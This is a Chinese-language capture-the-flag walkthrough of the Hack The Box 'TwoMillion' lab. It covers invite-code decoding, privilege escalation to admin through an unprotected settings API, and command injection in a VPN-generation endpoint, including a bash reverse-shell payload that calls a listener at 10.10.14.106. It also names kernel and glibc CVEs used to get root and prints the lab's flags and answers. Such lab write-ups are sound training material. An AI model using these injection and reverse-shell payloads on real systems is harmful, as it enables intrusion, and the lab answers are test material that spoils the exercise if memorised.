0%

HTBLab-TwoMillion Walkthrough

TwoMillion

Lab 連結:Hack The Box - TwoMillion

我的 IP:10.10.11.221

任務 1

有多少 TCP Port 是開啟的?

使用 nmap 掃描目標,發現開啟的 Port 有:

  • 22 (SSH)
  • 80 (HTTP)

nmap-result

答案:2(個)

任務 2

/invite 頁面載入的與邀請碼有關的 JavaScript 檔案的名稱是什麼?

如果嘗試直接使用 IP 去連線的話會被轉址,所以我們需要到 /etc/hosts 最後新增以下內容就能正常連線。

1
10.10.11.221    2million.htb

2million-home

再來進入到 /invite 並使用瀏覽器開發者工具的 Network 分析,找到相關的 JavaScript 檔案:
相關的 JavaScript 檔案為 inviteapi.min.js
DevTools-Network

任務 3

邀請頁面上的哪個 JavaScript 函數傳回如何取得邀請碼的第一個提示?答案中不要包含()。

分析 inviteapi.min.js,可在程式碼中發現 function makeInviteCode 是用來生成邀請碼的 function。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
eval(function(p, a, c, k, e, d) {
e = function(c) {
return c.toString(36)
};
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [function(e) {
return d[e]
}];
e = function() {
return '\\w+'
};
c = 1
}
;
while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c])
}
}
return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))

發現在最後 return 其中一個項目為 makeInviteCode
答案makeInviteCode

任務 4

makeInviteCode 中的端點傳回加密資料。該訊息提供了另一個查詢端點。此端點傳回一個使用非常常見的二進位到文字編碼格式編碼的 code。該編碼的名稱是什麼?

在瀏覽器 Console 執行 makeInviteCode(),回傳資訊包含 enctype: "ROT13"
console-makeInviteCode
進行 ROT13 解碼後得到:

1
In order to generate the invite code, make a POST request to /api/v1/invite/generate

這告訴我們要生成邀請碼的話需要 POST /api/v1/invite/generate

接著使用 curl 進行 POST 請求:

1
curl -X POST http://2million.htb/api/v1/invite/generate

generate-invite-code

1
{"0":200,"success":1,"data":{"code":"SVJRUUEtRlJUS0stVFVaNzQtU0E3WkI=","format":"encoded"}}

在回傳的訊息中,又提示到 “format”:”encoded”,我們需要再將 code 做解碼,而這串 code 的特徵是後方的等號(=),可以直接推測是透過 base64 編碼而成,因此我們需透過 base64 解碼。

該編碼格式為 Base64,經解碼後獲得邀請碼:

1
IRQQA-FRTKK-TUZ74-SA7ZB

base64decode

同時也得知這題的答案為 base64

任務 5

當使用者點擊「Connection Pack」時,頁面使用的端點路徑是什麼?

在任務 4 時,我們已經有邀請碼了,可以先透過邀請碼進行註冊。
進入首頁後,點選在左方的側邊欄中的 Labs > Access
Lab-Access

使用 Burp Suite 攔截請求,發現頁面發送了一個 GET 請求至:

1
GET /api/v1/user/vpn/generate

Burp-generate

答案/api/v1/user/vpn/generate

任務 6

/api/v1/admin 下有多少個 API 端點?

根據上一題的 API 使用,我們知道 API 路徑為 /api/v1/,因此我們能直接查看該 API 底下有哪些功能
api-v1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": { "/api/v1/admin/auth": "Check if user is admin" },
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": { "/api/v1/admin/settings/update": "Update user settings" }
}
}
}

檢查 API 路徑後,確認 /api/v1/admin 下有 3 個端點:

  • GET /api/v1/admin/auth
  • POST /api/v1/admin/vpn/generate
  • PUT /api/v1/admin/settings/update

任務 7

哪個 API 端點可以將使用者帳戶變更為管理員帳戶?

根據上方得到的 API 及對應說明,答案為 /api/v1/admin/settings/update

任務 8

哪個 API 端點存在 command injection 漏洞?

這邊將 user 的 API 嘗試後都沒發現相關漏洞,但權限並非 admin,所以需要先將帳號權限提升為 admin。
admin-auth

提升帳號權限為 admin

我們將目標鎖定在 /api/v1/admin/settings/update 這個 API,因為根據他的敘述是可以更新使用者的設定。
先嘗試進行 API 的存取,他的告知是錯誤的 Content-Type

我們將 Request 加上 Content-Type: application/json,錯誤訊息變成缺少 email 參數

"email":"[email protected]" 補上後,又得到新的錯誤訊息,缺少 is_admin 參數

最後將 "is_admin":1 補上後就回傳了正確的訊息。

這邊的 payload 為

1
2
3
4
5
{
"email": "[email protected]",
"is_admin":1
}

API 測試

接下來我們要找尋可能有 command injection 的 API,在 admin 中的 3 個 API,只有 /api/v1/admin/vpn/generate 是使用 POST 傳輸,因此有可能會是在這邊。
為了驗證以上的可能性,我們必須實際上去存取該 API,存取後也是回傳錯誤的 Content-Type

跟前面要做的事情一樣,將 Request 加上 Content-Type: application/json,我們可以看到錯誤訊息變成了缺少 username 參數

再將 "username":"mlgzackfly" 加上去後就能正常回傳。

但我們需要測試他是不是存在 command injection,所以將 payload 改成 "username":"mlgzackfly; ls ",可以看到他確實回傳了目錄有的檔案及資料夾,因此能確定這個 API 存在漏洞。

任務 9

PHP 通常使用哪個檔案來儲存環境變數值?

可以使用 ls -la 查看所有的檔案,發現到他有 .env 檔案。

近一步查看 .env 檔案內容,發現有 admin 的帳號密碼

答案是 .env

任務 10

提交 admin 使用者家目錄中的 flag

根據前一題的 .env 內容,我們可以得知 admin 密碼為 SuperDuperPass123

為了登入 admin 帳號,我們需要使用 reverse shell,先在 local 進行監聽 ncat -lvnp 9001

使用以下 payload,將 shell 回傳給 local

1
2
3
{
"username":"mlgzackfly; bash -c 'sh -i >& /dev/tcp/10.10.14.106/9001 0>&1' "
}

確定接收到 shell 後,就可以讀取 admin 家目錄的 flag 了

任務 11

發送給 admin 的電子郵件的寄件者的電子郵件地址是什麼?

mail 會被存放在 /var/mail/,我們要查看 admin 的郵件就是 cat /var/mail/admin

內容為

1
2
3
4
5
6
7
8
9
10
11
12
13
From: ch4p <[email protected]>
To: admin <[email protected]>
Cc: g0blin <[email protected]>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <[email protected]>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

我們從 From 得知是由 [email protected] 寄送的

任務 12

2023 年有關允許攻擊者在 Overlay 檔案系統中移動檔案,同時保留元數據(例如擁有者和 SetUID 位)的漏洞的 CVE ID 是什麼?

Google Search

查詢後得知 CVE-2023-0386

任務 13

提交 root 使用者家目錄中的 flag

我們知道有該 CVE 可以使用後,上網搜尋 CVE-2023-0386 exploit,並將檔案放到把機上

scp

在把機上執行 exploit 取得 root 權限

id-root

透過 root 權限輸出 root 家目錄的 flag 為 b992fe6eec81e0d0915629fe90495b38

root-flag

任務 14

[Alternative Priv Esc] TwoMillion 上的 GLIBC 版本是什麼?

執行 ldd –version,就可以看到 glibc 的版本
ldd --version

任務 15

[Alternative Priv Esc] 2023 年 GNU C 動態連結器的 Buffer Overflow 漏洞的 CVE ID 是什麼?

CVE-2023-4911

任務 16

[Alternative Priv Esc] 在取得 admin 或 www-data 權限的 shell 後,找到針對 Looney Tunables 的 POC。觸發 Buffer Overflow 的環境變數名稱是什麼?回答此問題後,執行 POC 並取得 root 權限的 shell。

Looney Tunables 漏洞便是發生在 glibc 的動態載入程式,在處理 GLIBC_TUNABLES 環境變數的時候。GLIBC_TUNABLES 是 glibc 引入的一個環境變數,讓使用者可以在不重新編譯相關應用程式和函式庫本身,就可以在執行時動態調整函式庫行為,這提供了一種靈活性,允許用戶對特定系統或應用程式需求進行最佳化。

最後我使用這個 gnu-acme.py 來取得權限

參考資料